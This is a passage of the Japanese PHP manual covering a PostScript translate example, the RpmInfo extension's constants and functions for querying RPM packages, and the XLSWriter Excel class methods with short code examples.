    ps_lineto($ps, 50, 50);
    ps_lineto($ps, 50, 0);
    ps_lineto($ps, 0, 0);
    ps_stroke($ps);
}

$ps = ps_new();
if (!ps_open_file($ps, "translate.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_info($ps, "Creator", "translate.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Translated example");
ps_set_info($ps, "BoundingBox", "0 0 596 842");

$psfont = ps_findfont($ps, "Helvetica", "", 0);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_translate($ps, 500, 750);
rectangle($ps);
ps_translate($ps, -500, -750);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Text at initial position");
ps_end_page($ps);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_save($ps);
ps_translate($ps, 500, 750);
rectangle($ps);
ps_restore($ps);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Text at initial position");
ps_end_page($ps);

ps_delete($ps);
?>

上の例は、図形 (ここでは単なる矩形) を、図形自身の座標系を使用したまま ページ内の任意の位置に配置するための 2 種類の方法を示しています。 矩形を描画する前に、座標系の原点を変更しているのがポイントです。 矩形を描画した後は、座標系をもとに戻さなければなりません。

2 ページ目では、少し異なった、よりエレガントな方法を使用しています。 座標系の変換を元に戻すために ps_translate() をもう一度コールするのではなく、 座標系の変更前に描画コンテキストを保存しておいて、 矩形の描画後にそれを復元しています。

参考

  • ps_scale() - 縮尺を設定する
  • ps_rotate() - 回転の程度を設定する

User Contributed Notes

There are no user contributed notes for this page.


RpmInfo

  • はじめに
  • インストール/設定
    • 要件
    • Installation via PECL
    • 実行時設定
    • リソース型
  • 定義済み定数
  • RpmInfo 関数
    • rpmaddtag — Add tag retrieved in query
    • rpmdbinfo — Get information from installed RPM
    • rpmdbsearch — Search RPM packages
    • rpminfo — Get information from a RPM file
    • rpmvercmp — RPM version comparison

User Contributed Notes

There are no user contributed notes for this page.


はじめに

This extension enables you to retrieve information from RPM files or from the installed RPMs database.

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • Installation via PECL
  • 実行時設定
  • リソース型

User Contributed Notes

There are no user contributed notes for this page.


要件

This extension requires » librpm version 4.11.3 or higher.

User Contributed Notes

There are no user contributed notes for this page.


Installation via PECL

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/rpminfo.

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

RPMVERSION (string)
System librpm version.
RPMSENSE_ANY (int)
RPMSENSE_LESS (int)
RPMSENSE_GREATER (int)
RPMSENSE_EQUAL (int)
RPMSENSE_POSTTRANS (int)
RPMSENSE_PREREQ (int)
RPMSENSE_PRETRANS (int)
RPMSENSE_INTERP (int)
RPMSENSE_SCRIPT_PRE (int)
RPMSENSE_SCRIPT_POST (int)
RPMSENSE_SCRIPT_PREUN (int)
RPMSENSE_SCRIPT_POSTUN (int)
RPMSENSE_SCRIPT_VERIFY (int)
RPMSENSE_FIND_REQUIRES (int)
RPMSENSE_FIND_PROVIDES (int)
RPMSENSE_TRIGGERIN (int)
RPMSENSE_TRIGGERUN (int)
RPMSENSE_TRIGGERPOSTUN (int)
RPMSENSE_MISSINGOK (int)
RPMSENSE_RPMLIB (int)
RPMSENSE_TRIGGERPREIN (int)
RPMSENSE_KEYRING (int)
RPMSENSE_CONFIG (int)
RPMMIRE_DEFAULT (int)
Search pattern is a regular expression with \., .* and ^...$ added.
RPMMIRE_STRCMP (int)
Search pattern is a string, using strcmp(3).
RPMMIRE_REGEX (int)
Search pattern is a regular expression, using regcomp(3).
RPMMIRE_GLOB (int)
Search pattern is a glob expression, using fnmatch(3).
RPMTAG_ARCH (int)
RPMTAG_ARCHIVESIZE (int)
RPMTAG_BASENAMES (int)
Name (not path) of files, with database index.
RPMTAG_BUGURL (int)
RPMTAG_BUILDARCHS (int)
RPMTAG_BUILDHOST (int)
RPMTAG_BUILDTIME (int)
RPMTAG_C (int)
RPMTAG_CHANGELOGNAME (int)
RPMTAG_CHANGELOGTEXT (int)
RPMTAG_CHANGELOGTIME (int)
RPMTAG_CLASSDICT (int)
RPMTAG_CONFLICTFLAGS (int)
RPMTAG_CONFLICTNAME (int)
Conflicting dependencies, with database index.
RPMTAG_CONFLICTNEVRS (int)
RPMTAG_CONFLICTS (int)
RPMTAG_CONFLICTVERSION (int)
RPMTAG_COOKIE (int)
RPMTAG_DBINSTANCE (int)
RPMTAG_DEPENDSDICT (int)
RPMTAG_DESCRIPTION (int)
RPMTAG_DIRINDEXES (int)
RPMTAG_DIRNAMES (int)
Directory of files, with database index.
RPMTAG_DISTRIBUTION (int)
RPMTAG_DISTTAG (int)
RPMTAG_DISTURL (int)
RPMTAG_DSAHEADER (int)
RPMTAG_E (int)
RPMTAG_ENCODING (int)
RPMTAG_ENHANCEFLAGS (int)
RPMTAG_ENHANCENAME (int)
Weak dependencies, with database index, requires librpm >= 4.13.
RPMTAG_ENHANCENEVRS (int)
RPMTAG_ENHANCES (int)
RPMTAG_ENHANCEVERSION (int)
RPMTAG_EPOCH (int)
RPMTAG_EPOCHNUM (int)
RPMTAG_EVR (int)
RPMTAG_EXCLUDEARCH (int)
RPMTAG_EXCLUDEOS (int)
RPMTAG_EXCLUSIVEARCH (int)
RPMTAG_EXCLUSIVEOS (int)
RPMTAG_FILECAPS (int)
RPMTAG_FILECLASS (int)
RPMTAG_FILECOLORS (int)
RPMTAG_FILECONTEXTS (int)
RPMTAG_FILEDEPENDSN (int)
RPMTAG_FILEDEPENDSX (int)
RPMTAG_FILEDEVICES (int)
RPMTAG_FILEDIGESTALGO (int)
RPMTAG_FILEDIGESTS (int)
RPMTAG_FILEFLAGS (int)
RPMTAG_FILEGROUPNAME (int)
RPMTAG_FILEINODES (int)
RPMTAG_FILELANGS (int)
RPMTAG_FILELINKTOS (int)
RPMTAG_FILEMD5S (int)
RPMTAG_FILEMODES (int)
RPMTAG_FILEMTIMES (int)
RPMTAG_FILENAMES (int)
RPMTAG_FILENLINKS (int)
RPMTAG_FILEPROVIDE (int)
RPMTAG_FILERDEVS (int)
RPMTAG_FILEREQUIRE (int)
RPMTAG_FILESIGNATURELENGTH (int)
RPMTAG_FILESIGNATURES (int)
RPMTAG_FILESIZES (int)
RPMTAG_FILESTATES (int)
RPMTAG_FILETRIGGERCONDS (int)
RPMTAG_FILETRIGGERFLAGS (int)
RPMTAG_FILETRIGGERINDEX (int)
RPMTAG_FILETRIGGERNAME (int)
File trigger name, with database index, requires librpm >= 4.13.
RPMTAG_FILETRIGGERPRIORITIES (int)
RPMTAG_FILETRIGGERSCRIPTFLAGS (int)
RPMTAG_FILETRIGGERSCRIPTPROG (int)
RPMTAG_FILETRIGGERSCRIPTS (int)
RPMTAG_FILETRIGGERTYPE (int)
RPMTAG_FILETRIGGERVERSION (int)
RPMTAG_FILEUSERNAME (int)
RPMTAG_FILEVERIFYFLAGS (int)
RPMTAG_FSCONTEXTS (int)
RPMTAG_GIF (int)
RPMTAG_GROUP (int)
Group of the package, with database index.
RPMTAG_HDRID (int)
RPMTAG_HEADERCOLOR (int)
RPMTAG_HEADERI18NTABLE (int)
RPMTAG_HEADERIMAGE (int)
RPMTAG_HEADERIMMUTABLE (int)
RPMTAG_HEADERREGIONS (int)
RPMTAG_HEADERSIGNATURES (int)
RPMTAG_ICON (int)
RPMTAG_INSTALLCOLOR (int)
RPMTAG_INSTALLTID (int)
Installation transaction ID, with database index.
RPMTAG_INSTALLTIME (int)
RPMTAG_INSTFILENAMES (int)
Path of files, with database index.
RPMTAG_INSTPREFIXES (int)
RPMTAG_LICENSE (int)
RPMTAG_LONGARCHIVESIZE (int)
RPMTAG_LONGFILESIZES (int)
RPMTAG_LONGSIGSIZE (int)
RPMTAG_LONGSIZE (int)
RPMTAG_MODULARITYLABEL (int)
RPMTAG_N (int)
RPMTAG_NAME (int)
Package name, with database index.
RPMTAG_NEVR (int)
RPMTAG_NEVRA (int)
RPMTAG_NOPATCH (int)
RPMTAG_NOSOURCE (int)
RPMTAG_NVR (int)
RPMTAG_NVRA (int)
RPMTAG_O (int)
RPMTAG_OBSOLETEFLAGS (int)
RPMTAG_OBSOLETENAME (int)
Obsoleted packages, with database index.
RPMTAG_OBSOLETENEVRS (int)
RPMTAG_OBSOLETES (int)
RPMTAG_OBSOLETEVERSION (int)
RPMTAG_OLDENHANCES (int)
RPMTAG_OLDENHANCESFLAGS (int)
RPMTAG_OLDENHANCESNAME (int)
RPMTAG_OLDENHANCESVERSION (int)
RPMTAG_OLDFILENAMES (int)
RPMTAG_OLDSUGGESTS (int)
RPMTAG_OLDSUGGESTSFLAGS (int)
RPMTAG_OLDSUGGESTSNAME (int)
RPMTAG_OLDSUGGESTSVERSION (int)
RPMTAG_OPTFLAGS (int)
RPMTAG_ORDERFLAGS (int)
RPMTAG_ORDERNAME (int)
RPMTAG_ORDERVERSION (int)
RPMTAG_ORIGBASENAMES (int)
RPMTAG_ORIGDIRINDEXES (int)
RPMTAG_ORIGDIRNAMES (int)
RPMTAG_ORIGFILENAMES (int)
RPMTAG_OS (int)
RPMTAG_P (int)
RPMTAG_PACKAGER (int)
RPMTAG_PATCH (int)
RPMTAG_PATCHESFLAGS (int)
RPMTAG_PATCHESNAME (int)
RPMTAG_PATCHESVERSION (int)
RPMTAG_PAYLOADCOMPRESSOR (int)
RPMTAG_PAYLOADDIGEST (int)
RPMTAG_PAYLOADDIGESTALT (int)
Since librpm >= 4.16.
RPMTAG_PAYLOADDIGESTALGO (int)
RPMTAG_PAYLOADFLAGS (int)
RPMTAG_PAYLOADFORMAT (int)
RPMTAG_PKGID (int)
RPMTAG_PLATFORM (int)
RPMTAG_POLICIES (int)
RPMTAG_POLICYFLAGS (int)
RPMTAG_POLICYNAMES (int)
RPMTAG_POLICYTYPES (int)
RPMTAG_POLICYTYPESINDEXES (int)
RPMTAG_POSTIN (int)
RPMTAG_POSTINFLAGS (int)
RPMTAG_POSTINPROG (int)
RPMTAG_POSTTRANS (int)
RPMTAG_POSTTRANSFLAGS (int)
RPMTAG_POSTTRANSPROG (int)
RPMTAG_POSTUN (int)
RPMTAG_POSTUNFLAGS (int)
RPMTAG_POSTUNPROG (int)
RPMTAG_PREFIXES (int)
RPMTAG_PREIN (int)
RPMTAG_PREINFLAGS (int)
RPMTAG_PREINPROG (int)
RPMTAG_PRETRANS (int)
RPMTAG_PRETRANSFLAGS (int)
RPMTAG_PRETRANSPROG (int)
RPMTAG_PREUN (int)
RPMTAG_PREUNFLAGS (int)
RPMTAG_PREUNPROG (int)
RPMTAG_PROVIDEFLAGS (int)
RPMTAG_PROVIDENAME (int)
Provided dependencies, with database index.
RPMTAG_PROVIDENEVRS (int)
RPMTAG_PROVIDES (int)
RPMTAG_PROVIDEVERSION (int)
RPMTAG_PUBKEYS (int)
RPMTAG_R (int)
RPMTAG_RECOMMENDFLAGS (int)
RPMTAG_RECOMMENDNAME (int)
Recommended weak dependencies, with database index, requires librpm >= 4.13.
RPMTAG_RECOMMENDNEVRS (int)
RPMTAG_RECOMMENDS (int)
RPMTAG_RECOMMENDVERSION (int)
RPMTAG_RECONTEXTS (int)
RPMTAG_RELEASE (int)
RPMTAG_REMOVETID (int)
RPMTAG_REQUIREFLAGS (int)
RPMTAG_REQUIRENAME (int)
Required dependencies, with database index.
RPMTAG_REQUIRENEVRS (int)
RPMTAG_REQUIRES (int)
RPMTAG_REQUIREVERSION (int)
RPMTAG_RPMVERSION (int)
RPMTAG_RSAHEADER (int)
RPMTAG_SHA1HEADER (int)
SHA1 signature, with database index.
RPMTAG_SHA256HEADER (int)
RPMTAG_SIGGPG (int)
RPMTAG_SIGMD5 (int)
MD5 signature, with database index.
RPMTAG_SIGPGP (int)
RPMTAG_SIGSIZE (int)
RPMTAG_SIZE (int)
RPMTAG_SOURCE (int)
RPMTAG_SOURCEPACKAGE (int)
RPMTAG_SOURCEPKGID (int)
RPMTAG_SOURCERPM (int)
RPMTAG_SUGGESTFLAGS (int)
RPMTAG_SUGGESTNAME (int)
Suggested weak dependencies, with database index, requires librpm >= 4.13.
RPMTAG_SUGGESTNEVRS (int)
RPMTAG_SUGGESTS (int)
RPMTAG_SUGGESTVERSION (int)
RPMTAG_SUMMARY (int)
RPMTAG_SUPPLEMENTFLAGS (int)
RPMTAG_SUPPLEMENTNAME (int)
Weak dependencies, with database index, requires librpm >= 4.13.
RPMTAG_SUPPLEMENTNEVRS (int)
RPMTAG_SUPPLEMENTS (int)
RPMTAG_SUPPLEMENTVERSION (int)
RPMTAG_TRANSFILETRIGGERCONDS (int)
RPMTAG_TRANSFILETRIGGERFLAGS (int)
RPMTAG_TRANSFILETRIGGERINDEX (int)
RPMTAG_TRANSFILETRIGGERNAME (int)
Transaction file trigger name, with database index, requires librpm >= 4.13.
RPMTAG_TRANSFILETRIGGERPRIORITIES (int)
RPMTAG_TRANSFILETRIGGERSCRIPTFLAGS (int)
RPMTAG_TRANSFILETRIGGERSCRIPTPROG (int)
RPMTAG_TRANSFILETRIGGERSCRIPTS (int)
RPMTAG_TRANSFILETRIGGERTYPE (int)
RPMTAG_TRANSFILETRIGGERVERSION (int)
RPMTAG_TRIGGERCONDS (int)
RPMTAG_TRIGGERFLAGS (int)
RPMTAG_TRIGGERINDEX (int)
RPMTAG_TRIGGERNAME (int)
Trigger name, with database index.
RPMTAG_TRIGGERSCRIPTFLAGS (int)
RPMTAG_TRIGGERSCRIPTPROG (int)
RPMTAG_TRIGGERSCRIPTS (int)
RPMTAG_TRIGGERTYPE (int)
RPMTAG_TRIGGERVERSION (int)
RPMTAG_URL (int)
RPMTAG_V (int)
RPMTAG_VCS (int)
RPMTAG_VENDOR (int)
RPMTAG_VERBOSE (int)
RPMTAG_VERIFYSCRIPT (int)
RPMTAG_VERIFYSCRIPTFLAGS (int)
RPMTAG_VERIFYSCRIPTPROG (int)
RPMTAG_VERSION (int)
RPMTAG_XPM (int)

User Contributed Notes

There are no user contributed notes for this page.


RpmInfo 関数

目次

  • rpmaddtag — Add tag retrieved in query
  • rpmdbinfo — Get information from installed RPM
  • rpmdbsearch — Search RPM packages
  • rpminfo — Get information from a RPM file
  • rpmvercmp — RPM version comparison

User Contributed Notes

There are no user contributed notes for this page.


Add tag retrieved in query

  • ≪ RpmInfo 関数
  • rpmdbinfo ≫
  • PHP Manual
  • RpmInfo 関数
  • Add tag retrieved in query

rpmaddtag

(PECL rpminfo >= 0.5.0)

rpmaddtag — Add tag retrieved in query

説明

rpmaddtag ( int $tag ) : bool

Add an additional retrieved tag in subsequent queries.

パラメータ

tag

One of RPMTAG_* constant, see the rpminfo constants page.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • rpminfo() - Get information from a RPM file
  • rpmdbinfo() - Get information from installed RPM
  • rpmdbsearch() - Search RPM packages

User Contributed Notes

There are no user contributed notes for this page.


Get information from installed RPM

  • ≪ rpmaddtag
  • rpmdbsearch ≫
  • PHP Manual
  • RpmInfo 関数
  • Get information from installed RPM

rpmdbinfo

(PECL rpminfo >= 0.2.0)

rpmdbinfo — Get information from installed RPM

説明

rpmdbinfo ( string $nevr , bool $full = false ) : array

Retrieve information about an installed package, from the system RPM database.

パラメータ

nevr

Name with optional epoch, version and release.

full

If true all information headers for the file are retrieved, else only a minimal set.

返り値

An array of array of information or NULL on error.

参考

  • rpmaddtag() - Add tag retrieved in query

例

例1 A rpmdbinfo() example

<?php
rpmaddtag(RPMTAG_INSTALLTIME);
$info = rpmdbinfo("php-pecl-rpminfo");
print_r($info);
?>

上の例の出力は以下となります。

Array
(
    [0] => Array
        (
            [Name] => php-pecl-rpminfo
            [Version] => 0.4.2
            [Release] => 1.fc31
            [Summary] => RPM information
            [Installtime] => 1586244687
            [Arch] => x86_64
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Search RPM packages

  • ≪ rpmdbinfo
  • rpminfo ≫
  • PHP Manual
  • RpmInfo 関数
  • Search RPM packages

rpmdbsearch

(PECL rpminfo >= 0.3.0)

rpmdbsearch — Search RPM packages

説明

rpmdbsearch ( string $pattern , int $rpmtag = RPMTAG_NAME , int $rpmmire = -1 , bool $full = false ) : array

Search packages in the system RPM database.

パラメータ

pattern

Value to search for.

rpmtag

Search criterion, one of RPMTAG_* constant, see the rpminfo constants page.

rpmmire

Pattern type, one of RPMMIRE_* constant, see the rpminfo constants page. When < 0 the criterion must equals the value, and database index is used if possible.

full

If true all information headers for the file are retrieved, else only a minimal set.

返り値

An array of array of information or NULL on error.

参考

  • rpmaddtag() - Add tag retrieved in query

例

例1 Searching for the package owning a file

<?php
$info = rpmdbsearch("/usr/bin/php", RPMTAG_INSTFILENAMES);
print_r($info);
?>

上の例の出力は以下となります。

Array
(
    [0] => Array
        (
            [Name] => php-cli
            [Version] => 7.4.4
            [Release] => 1.fc32
            [Summary] => Command-line interface for PHP
            [Arch] => x86_64
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Get information from a RPM file

  • ≪ rpmdbsearch
  • rpmvercmp ≫
  • PHP Manual
  • RpmInfo 関数
  • Get information from a RPM file

rpminfo

(PECL rpminfo >= 0.1.0)

rpminfo — Get information from a RPM file

説明

rpminfo ( string $path , bool $full = false , string &$error = ? ) : array

Retrieve information about a local file, a RPM package.

パラメータ

path

Path of the RPM file.

full

If true all information headers for the file are retrieved, else only a minimal set.

error

If provided, will receive the possible error message, and will avoid a runtime warning.

返り値

An array of information or NULL on error.

参考

  • rpmaddtag() - Add tag retrieved in query

例

例1 A rpminfo() example

<?php
rpmaddtag(RPMTAG_BUILDTIME);
$info = rpminfo("./php-pecl-rpminfo-0.4.2-1.el8.remi.7.4.x86_64.rpm");
print_r($info);
?>

上の例の出力は以下となります。

Array
(
    [Name] => php-pecl-rpminfo
    [Version] => 0.4.2
    [Release] => 1.el8
    [Summary] => RPM information
    [Buildtime] => 1586244821
    [Arch] => x86_64
)

User Contributed Notes

There are no user contributed notes for this page.


RPM version comparison

  • ≪ rpminfo
  • XLSWriter ≫
  • PHP Manual
  • RpmInfo 関数
  • RPM version comparison

rpmvercmp

(PECL rpminfo >= 0.1.0)

rpmvercmp — RPM version comparison

説明

rpmvercmp ( string $evr1 , string $evr2 ) : int

Compare 2 RPM versions.

パラメータ

evr1

First epoch:version-release string

evr2

Second epoch:version-release string

返り値

Returns < 0 if evr1 is less than evr2, > 0 if evr1 is greater than evr2, and 0 if they are equal.

User Contributed Notes

There are no user contributed notes for this page.


XLSWriter

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • リソース型
  • 定義済み定数
  • Vtiful\Kernel\Excel — The Vtiful\Kernel\Excel class
    • Vtiful\Kernel\Excel::addSheet — Vtiful\Kernel\Excel addSheet
    • Vtiful\Kernel\Excel::autoFilter — Vtiful\Kernel\Excel autoFilter
    • Vtiful\Kernel\Excel::constMemory — Vtiful\Kernel\Excel constMemory
    • Vtiful\Kernel\Excel::__construct — Vtiful\Kernel\Excel constructor
    • Vtiful\Kernel\Excel::data — Vtiful\Kernel\Excel data
    • Vtiful\Kernel\Excel::fileName — Vtiful\Kernel\Excel fileName
    • Vtiful\Kernel\Excel::getHandle — Vtiful\Kernel\Excel getHandle
    • Vtiful\Kernel\Excel::header — Vtiful\Kernel\Excel header
    • Vtiful\Kernel\Excel::insertFormula — Vtiful\Kernel\Excel insertFormula
    • Vtiful\Kernel\Excel::insertImage — Vtiful\Kernel\Excel insertImage
    • Vtiful\Kernel\Excel::insertText — Vtiful\Kernel\Excel insertText
    • Vtiful\Kernel\Excel::mergeCells — Vtiful\Kernel\Excel mergeCells
    • Vtiful\Kernel\Excel::output — Vtiful\Kernel\Excel output
    • Vtiful\Kernel\Excel::setColumn — Vtiful\Kernel\Excel setColumn
    • Vtiful\Kernel\Excel::setRow — Vtiful\Kernel\Excel setRow
  • Vtiful\Kernel\Format — The Vtiful\Kernel\Format class
    • Vtiful\Kernel\Format::align — Vtiful\Kernel\Format align
    • Vtiful\Kernel\Format::bold — Vtiful\Kernel\Format bold
    • Vtiful\Kernel\Format::italic — Vtiful\Kernel\Format italic
    • Vtiful\Kernel\Format::underline — Vtiful\Kernel\Format underline

User Contributed Notes

There are no user contributed notes for this page.


はじめに

効率的で高速な xlsx ファイル出力拡張モジュールです。

User Contributed Notes

There are no user contributed notes for this page.


要件

XLSWriter requires PHP 7.0 and above.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/xlswriter

User Contributed Notes

There are no user contributed notes for this page.


リソース型

There is one resource used by the procedural version of the XLSWriter extension: returned by fileName() or \Vtiful\Kernel\Format.

User Contributed Notes

There are no user contributed notes for this page.


The Vtiful\Kernel\Excel class

(PECL xlswriter >= 1.2.1)

はじめに

Create xlsx files and set cells and output xlsx files

クラス概要

Vtiful\Kernel\Excel {
/* メソッド */
public addSheet ( string $sheetName )
public autoFilter ( string $scope )
public constMemory ( string $fileName , string $sheetName = ? )
public __construct ( array $config )
public data ( array $data )
public fileName ( string $fileName , string $sheetName = ? )
public getHandle ( )
public header ( array $headerData )
public insertFormula ( int $row , int $column , string $formula )
public insertImage ( int $row , int $column , string $localImagePath )
public insertText ( int $row , int $column , stringintdouble $data , string $format = ? )
public mergeCells ( string $scope , string $data )
public output ( )
public setColumn ( string $range , float $width , resource $format = ? )
public setRow ( string $range , float $height , resource $format = ? )
}

目次

  • Vtiful\Kernel\Excel::addSheet — Vtiful\Kernel\Excel addSheet
  • Vtiful\Kernel\Excel::autoFilter — Vtiful\Kernel\Excel autoFilter
  • Vtiful\Kernel\Excel::constMemory — Vtiful\Kernel\Excel constMemory
  • Vtiful\Kernel\Excel::__construct — Vtiful\Kernel\Excel constructor
  • Vtiful\Kernel\Excel::data — Vtiful\Kernel\Excel data
  • Vtiful\Kernel\Excel::fileName — Vtiful\Kernel\Excel fileName
  • Vtiful\Kernel\Excel::getHandle — Vtiful\Kernel\Excel getHandle
  • Vtiful\Kernel\Excel::header — Vtiful\Kernel\Excel header
  • Vtiful\Kernel\Excel::insertFormula — Vtiful\Kernel\Excel insertFormula
  • Vtiful\Kernel\Excel::insertImage — Vtiful\Kernel\Excel insertImage
  • Vtiful\Kernel\Excel::insertText — Vtiful\Kernel\Excel insertText
  • Vtiful\Kernel\Excel::mergeCells — Vtiful\Kernel\Excel mergeCells
  • Vtiful\Kernel\Excel::output — Vtiful\Kernel\Excel output
  • Vtiful\Kernel\Excel::setColumn — Vtiful\Kernel\Excel setColumn
  • Vtiful\Kernel\Excel::setRow — Vtiful\Kernel\Excel setRow

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel addSheet

  • ≪ Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel::autoFilter ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel addSheet

Vtiful\Kernel\Excel::addSheet

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::addSheet — Vtiful\Kernel\Excel addSheet

説明

public Vtiful\Kernel\Excel::addSheet ( string $sheetName )

Create a new worksheet in the xlsx file.

パラメータ

sheetName

Worksheet name

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$fileObject  = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
    ->header(['name', 'age'])
    ->data([
        ['viest', 23],
        ['wjx', 23]
    ]);

$file->addSheet('sheet_two')
    ->header(['name', 'age'])
    ->data([
        ['james', 33],
        ['king', 33]
    ]);

$file->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel autoFilter

  • ≪ Vtiful\Kernel\Excel::addSheet
  • Vtiful\Kernel\Excel::constMemory ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel autoFilter

Vtiful\Kernel\Excel::autoFilter

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::autoFilter — Vtiful\Kernel\Excel autoFilter

説明

public Vtiful\Kernel\Excel::autoFilter ( string $scope )

Add autofilter to a worksheet.

パラメータ

scope

Cell start and end coordinate string.

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$fileObject  = new \Vtiful\Kernel\Excel($config);

$file = $excel->fileName('test.xlsx')
        ->header(['name', 'age'])
        ->data($data)
        ->autoFilter('A1:B11')  // auto filter
        ->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel constMemory

  • ≪ Vtiful\Kernel\Excel::autoFilter
  • Vtiful\Kernel\Excel::__construct ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel constMemory

Vtiful\Kernel\Excel::constMemory

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::constMemory — Vtiful\Kernel\Excel constMemory

説明

public Vtiful\Kernel\Excel::constMemory ( string $fileName , string $sheetName = ? )

Write a large file with constant memory usage.

パラメータ

fileName

XLSX file name

sheetName

Worksheet name

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
  'path' => '/home/viest'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $instance->constMemory('tutorial.xlsx', 'sheet');
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel constructor

  • ≪ Vtiful\Kernel\Excel::constMemory
  • Vtiful\Kernel\Excel::data ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel constructor

Vtiful\Kernel\Excel::__construct

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::__construct — Vtiful\Kernel\Excel constructor

説明

public Vtiful\Kernel\Excel::__construct ( array $config )

Vtiful\Kernel\Excel constructor, create a class object.

パラメータ

config

XLSX file export configuration

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
  'path' => '/home/viest'
];

$excelObject = new \Vtiful\Kernel\Excel($config);
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel data

  • ≪ Vtiful\Kernel\Excel::__construct
  • Vtiful\Kernel\Excel::fileName ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel data

Vtiful\Kernel\Excel::data

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::data — Vtiful\Kernel\Excel data

説明

public Vtiful\Kernel\Excel::data ( array $data )

Write a data in the worksheet.

パラメータ

data

worksheet data

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$fileObject  = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
    ->header(['name', 'age'])
    ->data([
      ['viest', 23],
      ['wjx', 23],
    ]);
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel fileName

  • ≪ Vtiful\Kernel\Excel::data
  • Vtiful\Kernel\Excel::getHandle ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel fileName

Vtiful\Kernel\Excel::fileName

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::fileName — Vtiful\Kernel\Excel fileName

説明

public Vtiful\Kernel\Excel::fileName ( string $fileName , string $sheetName = ? )

Create a brand new xlsx file and create a worksheet.

パラメータ

fileName

XLSX file name

sheetName

Worksheet name

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
  'path' => '/home/viest'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $instance->fileName('tutorial.xlsx', 'sheet');
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel getHandle

  • ≪ Vtiful\Kernel\Excel::fileName
  • Vtiful\Kernel\Excel::header ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel getHandle

Vtiful\Kernel\Excel::getHandle

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::getHandle — Vtiful\Kernel\Excel getHandle

説明

public Vtiful\Kernel\Excel::getHandle ( )

Get the xlsx text resource handle.

パラメータ

この関数にはパラメータはありません。

返り値

Resource

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$fileObject  = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
    ->header(['name', 'age']);

$handle = $file->getHandle();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel header

  • ≪ Vtiful\Kernel\Excel::getHandle
  • Vtiful\Kernel\Excel::insertFormula ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel header

Vtiful\Kernel\Excel::header

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::header — Vtiful\Kernel\Excel header

説明

public Vtiful\Kernel\Excel::header ( array $headerData )

Write a header in the worksheet.

パラメータ

headerData

worksheet header data

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$fileObject  = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
    ->header(['name', 'age']);
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel insertFormula

